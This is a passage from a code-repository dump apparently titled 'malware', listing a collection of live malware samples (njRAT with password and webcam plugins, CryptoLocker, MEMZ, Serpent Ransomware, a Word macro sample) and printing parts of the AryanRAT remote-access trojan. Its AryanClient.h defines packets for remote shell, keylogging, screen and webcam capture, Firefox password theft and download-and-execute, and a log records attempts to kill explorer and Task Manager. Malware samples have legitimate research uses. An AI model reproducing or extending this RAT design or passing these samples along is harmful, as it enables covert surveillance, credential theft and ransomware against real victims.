├── 666 ├── 1.bmp ├── 666.exe ├── SDL.dll ├── stderr.txt └── stdout.txt ├── .gitattributes ├── .gitignore ├── 000 └── 000.exe ├── AryanRAT ├── Client │ ├── 21_ico_1.ico │ ├── AryanClient.h │ ├── AryanRat.plg │ ├── AryanRatClient.dsp │ ├── AryanRatClient.dsw │ ├── AryanRatClient.exe │ ├── AryanRatClient.ncb │ ├── AryanRatClient.opt │ ├── AryanRatClient.plg │ ├── Default Document_ico_3.ico │ ├── Hard Drive_ico_5.ico │ ├── Icon_1.ico │ ├── Icon_17.ico │ ├── Icon_18.ico │ ├── Icon_3.ico │ ├── Internet Explorer.ico │ ├── Media Clip_ico_1.ico │ ├── MyJPEGHandler.h │ ├── PausePressed.ico │ ├── Play.ico │ ├── Stop1NormalRed.ico │ ├── WINDOWS │ ├── _default.pif │ ├── arrow_down.ico │ ├── arrow_up.ico │ ├── bags jugs.dat │ ├── bootstat.dat │ ├── display-32x32.ico │ ├── dos.ico │ ├── drive_cd.ico │ ├── drive_disk.ico │ ├── drive_network.ico │ ├── eula.txt │ ├── favicon.ico │ ├── file_pau.ico │ ├── film.ico │ ├── firefox-icon.ico │ ├── firefox.ico │ ├── folder.ico │ ├── green.ico │ ├── hiberfil.sys │ ├── icon1.ico │ ├── icon2.ico │ ├── image.ico │ ├── main.cpp │ ├── new(1).ico │ ├── ntldr │ ├── orange.ico │ ├── pagefile.sys │ ├── process.ico │ ├── progman_exe_Ico22_ico_Ico1.ico │ ├── res.rc │ ├── resource.h │ ├── upnpnat.cpp │ ├── upnpnat.h │ ├── xmlParser.cpp │ ├── xmlParser.h │ └── yellow.ico └── ServerA │ ├── AryanServer.h │ ├── AryanServerFWB.dsp │ ├── AryanServerFWB.dsw │ ├── AryanServerFWB.ncb │ ├── AryanServerFWB.opt │ ├── AryanServerFWB.plg │ ├── Spread.cpp │ ├── Spread.h │ ├── hook.h │ ├── main.cpp │ ├── resource.aps │ ├── resource.h │ ├── resource.rc │ └── tiny.h ├── Backdoor ├── Backdoor(na)(np).exe ├── Backdoor(na).exe ├── Backdoor(np).exe └── Backdoor.exe ├── CODEEVO ├── CODEEVO.bat ├── CODEEVO.exe └── icon.ico ├── CryptoLocker 2014 ├── 1002.exe └── 1003.exe ├── D3STR0Y3R (test) ├── D3STR0Y3R.exe ├── disableav.bat └── millionfoldermod.bat ├── DELmE └── DELmE_s Batch Virus Generator v 2.0.exe ├── DarkHorse VM ├── COMCTL32.OCX └── DarkHorseTrojanVirusMaker.exe ├── ERROR └── Error.exe ├── Hotbest └── hotbest.exe ├── Killsight ├── XXX.docx └── wordmacromalware.Killsight.txt ├── MEMZ ├── MEMZ.bat └── MEMZ.exe ├── MasterSlave (test) ├── 1.bmp ├── 2.bmp ├── 3.bmp ├── 4.bmp ├── 5.bmp ├── 6.bmp ├── MasterSlave.exe ├── SDL.dll └── cursor.cur ├── Mitologia ├── 0a-PORNOSKI.exe └── smss.exe ├── NJRAT └── njRAT 0.7d │ ├── GeoIP.dat │ ├── NjRAT 0.7d.exe │ ├── Plugin │ ├── cam.dll │ ├── ch.dll │ ├── mic.dll │ ├── plg.dll │ ├── pw.dll │ └── sc2.dll │ ├── Stub.manifest │ ├── WinMM.Net.dll │ ├── nj_users │ └── KHALED_PC_Future_22A4A3B1 │ │ └── PASS.txt │ └── stub.il ├── Putin └── putin.exe ├── Serpent Ransomware └── software.exe ├── TheEnd └── TheEnd.bat ├── Watykańczyk └── Guide.exe ├── Youareanidiot ├── AxInterop.ShockwaveFlashObjects.dll ├── Interop.ShockwaveFlashObjects.dll └── YouAreAnIdiot.exe ├── fork.js └── malware.git /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /000/000.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/000/000.exe -------------------------------------------------------------------------------- /666/1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/666/1.bmp -------------------------------------------------------------------------------- /666/666.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/666/666.exe -------------------------------------------------------------------------------- /666/SDL.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/666/SDL.dll -------------------------------------------------------------------------------- /666/stderr.txt: -------------------------------------------------------------------------------- 1 | File Not Found 2 | Could not find process: explorer.exe 3 | ERROR: Invalid syntax. Value expected for '/IM'. 4 | Type "TASKKILL /?" for usage. 5 | ERROR: Invalid syntax. Value expected for '/IM'. 6 | Type "TASKKILL /?" for usage. 7 | Could not find process: taskmgr 8 | Could not find process: taskmgr.exe 9 | ERROR: Invalid syntax. Value expected for '/IM'. 10 | Type "TASKKILL /?" for usage. 11 | ERROR: Invalid syntax. Value expected for '/IM'. 12 | Type "TASKKILL /?" for usage. 13 | Could not find process: explorer.exe 14 | ERROR: Invalid syntax. Value expected for '/IM'. 15 | Type "TASKKILL /?" for usage. 16 | ERROR: Invalid syntax. Value expected for '/IM'. 17 | Type "TASKKILL /?" for usage. 18 | Could not find process: taskmgr 19 | Could not find process: taskmgr.exe 20 | ERROR: Invalid syntax. Value expected for '/IM'. 21 | Type "TASKKILL /?" for usage. 22 | ERROR: Invalid syntax. Value expected for '/IM'. 23 | Type "TASKKILL /?" for usage. 24 | Could not find process: explorer.exe 25 | ERROR: Invalid syntax. Value expected for '/IM'. 26 | Type "TASKKILL /?" for usage. 27 | ERROR: Invalid syntax. Value expected for '/IM'. 28 | Type "TASKKILL /?" for usage. 29 | Could not find process: taskmgr 30 | Could not find process: taskmgr.exe 31 | ERROR: Invalid syntax. Value expected for '/IM'. 32 | Type "TASKKILL /?" for usage. 33 | ERROR: Invalid syntax. Value expected for '/IM'. 34 | Type "TASKKILL /?" for usage. 35 | Could not find process: explorer.exe 36 | ERROR: Invalid syntax. Value expected for '/IM'. 37 | Type "TASKKILL /?" for usage. 38 | ERROR: Invalid syntax. Value expected for '/IM'. 39 | Type "TASKKILL /?" for usage. 40 | Could not find process: taskmgr 41 | Could not find process: taskmgr.exe 42 | ERROR: Invalid syntax. Value expected for '/IM'. 43 | Type "TASKKILL /?" for usage. 44 | ERROR: Invalid syntax. Value expected for '/IM'. 45 | Type "TASKKILL /?" for usage. 46 | Could not find process: explorer.exe 47 | ERROR: Invalid syntax. Value expected for '/IM'. 48 | Type "TASKKILL /?" for usage. 49 | ERROR: Invalid syntax. Value expected for '/IM'. 50 | Type "TASKKILL /?" for usage. 51 | Could not find process: taskmgr 52 | Could not find process: taskmgr.exe 53 | ERROR: Invalid syntax. Value expected for '/IM'. 54 | Type "TASKKILL /?" for usage. 55 | ERROR: Invalid syntax. Value expected for '/IM'. 56 | Type "TASKKILL /?" for usage. 57 | Could not find process: explorer.exe 58 | ERROR: Invalid syntax. Value expected for '/IM'. 59 | Type "TASKKILL /?" for usage. 60 | ERROR: Invalid syntax. Value expected for '/IM'. 61 | Type "TASKKILL /?" for usage. 62 | Could not find process: taskmgr 63 | Could not find process: taskmgr.exe 64 | ERROR: Invalid syntax. Value expected for '/IM'. 65 | Type "TASKKILL /?" for usage. 66 | ERROR: Invalid syntax. Value expected for '/IM'. 67 | Type "TASKKILL /?" for usage. 68 | Could not find process: explorer 69 | Could not find process: explorer.exe 70 | ERROR: Invalid syntax. Value expected for '/IM'. 71 | Type "TASKKILL /?" for usage. 72 | ERROR: Invalid syntax. Value expected for '/IM'. 73 | Type "TASKKILL /?" for usage. 74 | Could not find process: taskmgr 75 | Could not find process: taskmgr.exe 76 | ERROR: Invalid syntax. Value expected for '/IM'. 77 | Type "TASKKILL /?" for usage. 78 | ERROR: Invalid syntax. Value expected for '/IM'. 79 | Type "TASKKILL /?" for usage. 80 | Could not find process: explorer 81 | Could not find process: explorer.exe 82 | ERROR: Invalid syntax. Value expected for '/IM'. 83 | Type "TASKKILL /?" for usage. 84 | ERROR: Invalid syntax. Value expected for '/IM'. 85 | Type "TASKKILL /?" for usage. 86 | Could not find process: taskmgr 87 | Could not find process: taskmgr.exe 88 | ERROR: Invalid syntax. Value expected for '/IM'. 89 | Type "TASKKILL /?" for usage. 90 | ERROR: Invalid syntax. Value expected for '/IM'. 91 | Type "TASKKILL /?" for usage. 92 | Could not find process: explorer 93 | Could not find process: explorer.exe 94 | ERROR: Invalid syntax. Value expected for '/IM'. 95 | Type "TASKKILL /?" for usage. 96 | ERROR: Invalid syntax. Value expected for '/IM'. 97 | Type "TASKKILL /?" for usage. 98 | Could not find process: taskmgr 99 | Could not find process: taskmgr.exe 100 | ERROR: Invalid syntax. Value expected for '/IM'. 101 | Type "TASKKILL /?" for usage. 102 | ERROR: Invalid syntax. Value expected for '/IM'. 103 | Type "TASKKILL /?" for usage. 104 | Could not find process: explorer 105 | Could not find process: explorer.exe 106 | ERROR: Invalid syntax. Value expected for '/IM'. 107 | Type "TASKKILL /?" for usage. 108 | -------------------------------------------------------------------------------- /666/stdout.txt: -------------------------------------------------------------------------------- 1 | Volume in drive Z is VBOX_Viruses 2 | Volume Serial Number is 8EB9-9FB2 3 | 4 | Directory of Z:\Malware 5 | 6 | -------------------------------------------------------------------------------- /AryanRAT/Client/21_ico_1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/21_ico_1.ico -------------------------------------------------------------------------------- /AryanRAT/Client/AryanClient.h: -------------------------------------------------------------------------------- 1 | #ifndef __AryanClient_h 2 | #define __AryanClient_h 3 | 4 | #define STATUSA 1980 5 | #define PACKET_ADD_ID 1991 6 | #define PACKET_USER_JOINED 1992 7 | #define PACKET_EXIT 1993 8 | ///////////////////////////////////////////////// 9 | //Shell Packet headers 10 | #define PACKET_CMD_RECV 2000 11 | #define PACKET_REMOTE_SHELL_START 2001 12 | ///////////////////////////////////////////////// 13 | //Task manager Packet headers 14 | #define PACKET_TASK_MANAGER 2002 15 | #define PACKET_TASK_MANAGER_KILL 2003 16 | #define PACKET_TASK_MANAGER_TASKS 2004 17 | #define PACKET_TASK_MANAGER_KTASK 2005 18 | #define PACKET_TASK_MANAGER_TEXT 2006 19 | ///////////////////////////////////////////////// 20 | //File manager Packet headers 21 | #define PACKET_FILE_MANAGER_DRIVE 2010 22 | #define PACKET_FILE_MANAGER_FOLDER 2011 23 | #define PACKET_FILE_MANAGER_FILE 2012 24 | #define PACKET_FILE_MANAGER_FILE_FOLDER 2013 25 | #define PACKET_FILE_MANAGER_FILE_COPY 2014 26 | #define PACKET_FILE_MANAGER_NEW_FOLDER 2015 27 | #define PACKET_FILE_MANAGER_DELETE_FILE 2016 28 | #define PACKET_FILE_MANAGER_FILE_CUT 2017 29 | #define PACKET_FILE_MANAGER_FILE_RENAME 2018 30 | #define PACKET_FILE_MANAGER_FILE_RECV_S 2019 31 | #define PACKET_FILE_MANAGER_FILE_RECV 2020 32 | #define PACKET_FILE_MANAGER_FILE_C 2021 33 | #define PACKET_FILE_MANAGER_FILE_DOWN 2022 34 | #define PACKET_FILE_MANAGER_FILE_UPDATE_WIN 2023 35 | #define PACKET_FILE_MANAGER_SEARCH 2024 36 | #define DONE 2025 37 | #define PACKET_FILE_MANAGER_FILE_EXECUTE 2026 38 | #define PACKET_FILE_MANAGER_FILE_OPEN 2027 39 | #define PACKET_FILE_DOWNLOAD_STAT 2028 40 | ///////////////////////////////////////////////// 41 | //Computer Packet headers 42 | #define PACKET_COMPUTER_LOGOFF 2030 43 | #define PACKET_COMPUTER_SHUTDOWN 2031 44 | #define PACKET_COMPUTER_LOCK 2032 45 | ///////////////////////////////////////////////// 46 | //Keylogger Packet headers 47 | #define PACKET_KEYLOGGER 2060 48 | #define PACKET_KEYLOGGER_WINDOW 2061 49 | #define PACKET_KEYLOGGER_OFF 2062 50 | #define PACKET_KEYLOG_OFFLINE 2063 51 | #define PACKET_KEYLOG_DOWNLOAD 2064 52 | #define PACKET_KEYLOG_OPEN 2065 53 | #define PACKET_KEYLOG_DOWNLOAD_UPDATE 2066 54 | ////////////////////////////////////////////////// 55 | //Screen capture Packet Headers 56 | #define SCREEN_CAPTURE 2050 57 | #define SCREEN_SHOT_OPEN 2051 58 | #define SCREEN_SHOT_CLOSE 2052 59 | #define SCREEN_SHOT_RECV 2053 60 | ////////////////////////////////////////////////// 61 | //Passwords Packet headers 62 | #define PASSWORD_FIREFOX 2070 63 | //Services Packet headers 64 | #define PACKET_SERVICE_MAN 2080 65 | #define PACKET_SERVICE_STARTA 2081 66 | #define PACKET_SERVICE_STOPA 2082 67 | //RegManager 68 | #define PACKET_REG_MANAGER 2090 69 | //////////////////////////////////////////////// 70 | //Download Execute 71 | #define PACKET_DOWNLOAD_EXECUTE 3000 72 | //////////////////////////////////////////////// 73 | //Query Installs 74 | #define PACKET_PROGRAM_FILES 3010 75 | #define EXECUTE 3011 76 | //////////////////////////////////////////////// 77 | #define WEBCAM_CAPTURE 3020 78 | //////////////////////////////////////////////// 79 | #define FUN_MONITOR_ON 3030 80 | #define FUN_MONITOR_OFF 3031 81 | #define FUN_OPEN_CD 3032 82 | #define FUN_CLOSE_CD 3033 83 | #define FUN_INVERT_SCREEN_COLOUR 3034 84 | //////////////////////////////////////////////// 85 | #define PICTURE_NAME "Screeny.jpeg" 86 | 87 | 88 | #define MAX_LOADSTRING 100 89 | #define HIMETRIC_INCH 2540 90 | #define MAP_LOGHIM_TO_PIX(x,ppli) ( ((ppli)*(x) + HIMETRIC_INCH/2) / HIMETRIC_INCH ) 91 | 92 | typedef struct { 93 | WORD x,y; // dimensions 94 | WORD l; // bytes per scan-line (32-bit allignment) 95 | BYTE *b; // bits of bitmap,3 bytes/pixel, BGR 96 | } tWorkBMP; // 24-bit working bitmap 97 | 98 | struct PACKETHEAD 99 | { 100 | DWORD PacketType; 101 | char Data [512]; 102 | char PID [50]; 103 | char Threads [50]; 104 | char ParentPID [50]; 105 | char PRIORITY [50]; 106 | char Buf [100]; 107 | char Buf2 [50]; 108 | char Buf3 [50]; 109 | char IDS [10]; 110 | int ID; 111 | int ID2; 112 | int ID3; 113 | }; 114 | 115 | typedef struct 116 | { 117 | DWORD PacketType; 118 | char Data [4096]; 119 | int ID; 120 | int ID2; 121 | int ID3; 122 | int ID4; 123 | } PACKETFILE; 124 | typedef struct 125 | { 126 | DWORD PacketType; 127 | char Data [4096]; 128 | int ID; 129 | int ID2; 130 | int ID3; 131 | int ID4; 132 | } PACKETFRECV; 133 | 134 | typedef struct 135 | { 136 | DWORD PacketType; 137 | char Data [4096]; 138 | int ID; 139 | } PACKETCMD; 140 | 141 | struct mystruct { 142 | HBITMAP Screen; 143 | int ID; 144 | int ID3; 145 | int ID4; 146 | } ; 147 | 148 | struct FileStruct { 149 | char ID [10]; 150 | char IP [50]; 151 | }; 152 | 153 | #endif -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRat.plg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/AryanRat.plg -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="AryanRatClient" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Application" 0x0101 6 | 7 | CFG=AryanRatClient - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "AryanRatClient.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "AryanRatClient.mak" CFG="AryanRatClient - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "AryanRatClient - Win32 Release" (based on "Win32 (x86) Application") 21 | !MESSAGE "AryanRatClient - Win32 Debug" (based on "Win32 (x86) Application") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | MTL=midl.exe 30 | RSC=rc.exe 31 | 32 | !IF "$(CFG)" == "AryanRatClient - Win32 Release" 33 | 34 | # PROP BASE Use_MFC 0 35 | # PROP BASE Use_Debug_Libraries 0 36 | # PROP BASE Output_Dir "Release" 37 | # PROP BASE Intermediate_Dir "Release" 38 | # PROP BASE Target_Dir "" 39 | # PROP Use_MFC 0 40 | # PROP Use_Debug_Libraries 0 41 | # PROP Output_Dir "Release" 42 | # PROP Intermediate_Dir "Release" 43 | # PROP Ignore_Export_Lib 0 44 | # PROP Target_Dir "" 45 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c 46 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c 47 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 48 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 49 | # ADD BASE RSC /l 0x809 /d "NDEBUG" 50 | # ADD RSC /l 0x809 /d "NDEBUG" 51 | BSC32=bscmake.exe 52 | # ADD BASE BSC32 /nologo 53 | # ADD BSC32 /nologo 54 | LINK32=link.exe 55 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 56 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib comctl32.lib /nologo /subsystem:windows /machine:I386 57 | 58 | !ELSEIF "$(CFG)" == "AryanRatClient - Win32 Debug" 59 | 60 | # PROP BASE Use_MFC 0 61 | # PROP BASE Use_Debug_Libraries 1 62 | # PROP BASE Output_Dir "Debug" 63 | # PROP BASE Intermediate_Dir "Debug" 64 | # PROP BASE Target_Dir "" 65 | # PROP Use_MFC 0 66 | # PROP Use_Debug_Libraries 1 67 | # PROP Output_Dir "Debug" 68 | # PROP Intermediate_Dir "Debug" 69 | # PROP Ignore_Export_Lib 0 70 | # PROP Target_Dir "" 71 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c 72 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c 73 | # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 74 | # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 75 | # ADD BASE RSC /l 0x809 /d "_DEBUG" 76 | # ADD RSC /l 0x809 /d "_DEBUG" 77 | BSC32=bscmake.exe 78 | # ADD BASE BSC32 /nologo 79 | # ADD BSC32 /nologo 80 | LINK32=link.exe 81 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept 82 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib comctl32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept 83 | 84 | !ENDIF 85 | 86 | # Begin Target 87 | 88 | # Name "AryanRatClient - Win32 Release" 89 | # Name "AryanRatClient - Win32 Debug" 90 | # Begin Group "Source Files" 91 | 92 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" 93 | # Begin Source File 94 | 95 | SOURCE=.\main.cpp 96 | # End Source File 97 | # Begin Source File 98 | 99 | SOURCE=.\upnpnat.cpp 100 | # End Source File 101 | # Begin Source File 102 | 103 | SOURCE=.\xmlParser.cpp 104 | # End Source File 105 | # End Group 106 | # Begin Group "Header Files" 107 | 108 | # PROP Default_Filter "h;hpp;hxx;hm;inl" 109 | # Begin Source File 110 | 111 | SOURCE=.\AryanClient.h 112 | # End Source File 113 | # Begin Source File 114 | 115 | SOURCE=.\MyJPEGHandler.h 116 | # End Source File 117 | # Begin Source File 118 | 119 | SOURCE=.\resource.h 120 | # End Source File 121 | # Begin Source File 122 | 123 | SOURCE=.\upnpnat.h 124 | # End Source File 125 | # Begin Source File 126 | 127 | SOURCE=.\xmlParser.h 128 | # End Source File 129 | # End Group 130 | # Begin Group "Resource Files" 131 | 132 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" 133 | # Begin Source File 134 | 135 | SOURCE=.\21_ico_1.ico 136 | # End Source File 137 | # Begin Source File 138 | 139 | SOURCE=.\arrow_down.ico 140 | # End Source File 141 | # Begin Source File 142 | 143 | SOURCE=.\arrow_up.ico 144 | # End Source File 145 | # Begin Source File 146 | 147 | SOURCE=".\Default Document_ico_3.ico" 148 | # End Source File 149 | # Begin Source File 150 | 151 | SOURCE=".\display-32x32.ico" 152 | # End Source File 153 | # Begin Source File 154 | 155 | SOURCE=.\dos.ico 156 | # End Source File 157 | # Begin Source File 158 | 159 | SOURCE=.\drive_cd.ico 160 | # End Source File 161 | # Begin Source File 162 | 163 | SOURCE=.\drive_disk.ico 164 | # End Source File 165 | # Begin Source File 166 | 167 | SOURCE=.\drive_network.ico 168 | # End Source File 169 | # Begin Source File 170 | 171 | SOURCE=.\favicon.ico 172 | # End Source File 173 | # Begin Source File 174 | 175 | SOURCE=.\file_pau.ico 176 | # End Source File 177 | # Begin Source File 178 | 179 | SOURCE=.\film.ico 180 | # End Source File 181 | # Begin Source File 182 | 183 | SOURCE=".\firefox-icon.ico" 184 | # End Source File 185 | # Begin Source File 186 | 187 | SOURCE=.\folder.ico 188 | # End Source File 189 | # Begin Source File 190 | 191 | SOURCE=.\green.ico 192 | # End Source File 193 | # Begin Source File 194 | 195 | SOURCE=".\Hard Drive_ico_5.ico" 196 | # End Source File 197 | # Begin Source File 198 | 199 | SOURCE=.\icon1.ico 200 | # End Source File 201 | # Begin Source File 202 | 203 | SOURCE=.\icon2.ico 204 | # End Source File 205 | # Begin Source File 206 | 207 | SOURCE=.\Icon_17.ico 208 | # End Source File 209 | # Begin Source File 210 | 211 | SOURCE=.\Icon_18.ico 212 | # End Source File 213 | # Begin Source File 214 | 215 | SOURCE=.\image.ico 216 | # End Source File 217 | # Begin Source File 218 | 219 | SOURCE=".\Internet Explorer.ico" 220 | # End Source File 221 | # Begin Source File 222 | 223 | SOURCE=".\Media Clip_ico_1.ico" 224 | # End Source File 225 | # Begin Source File 226 | 227 | SOURCE=".\new(1).ico" 228 | # End Source File 229 | # Begin Source File 230 | 231 | SOURCE=.\Play.ico 232 | # End Source File 233 | # Begin Source File 234 | 235 | SOURCE=.\process.ico 236 | # End Source File 237 | # Begin Source File 238 | 239 | SOURCE=.\res.rc 240 | # End Source File 241 | # Begin Source File 242 | 243 | SOURCE=.\yellow.ico 244 | # End Source File 245 | # End Group 246 | # Begin Source File 247 | 248 | SOURCE=.\DLLinject.exe 249 | # End Source File 250 | # End Target 251 | # End Project 252 | -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "AryanRatClient"=".\AryanRatClient.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/AryanRatClient.exe -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/AryanRatClient.ncb -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.opt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/AryanRatClient.opt -------------------------------------------------------------------------------- /AryanRAT/Client/AryanRatClient.plg: -------------------------------------------------------------------------------- 1 | 2 | 3 |
 4 | 

Build Log

5 |

6 | --------------------Configuration: AryanRatClient - Win32 Release-------------------- 7 |

8 |

Command Lines

9 | Creating temporary file "C:\DOCUME~1\ALBINO~1\LOCALS~1\Temp\RSP1562.tmp" with contents 10 | [ 11 | kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib comctl32.lib /nologo /subsystem:windows /incremental:no /pdb:"Release/AryanRatClient.pdb" /machine:I386 /out:"Release/AryanRatClient.exe" 12 | ".\Release\main.obj" 13 | ".\Release\upnpnat.obj" 14 | ".\Release\xmlParser.obj" 15 | ".\Release\res.res" 16 | ] 17 | Creating command line "link.exe @C:\DOCUME~1\ALBINO~1\LOCALS~1\Temp\RSP1562.tmp" 18 |

Output Window

19 | Linking... 20 | Creating library Release/AryanRatClient.lib and object Release/AryanRatClient.exp 21 | 22 | 23 | 24 |

Results

25 | AryanRatClient.exe - 0 error(s), 0 warning(s) 26 |
27 | 28 | 29 | -------------------------------------------------------------------------------- /AryanRAT/Client/Default Document_ico_3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Default Document_ico_3.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Hard Drive_ico_5.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Hard Drive_ico_5.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Icon_1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Icon_1.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Icon_17.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Icon_17.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Icon_18.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Icon_18.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Icon_3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Icon_3.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Internet Explorer.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Internet Explorer.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Media 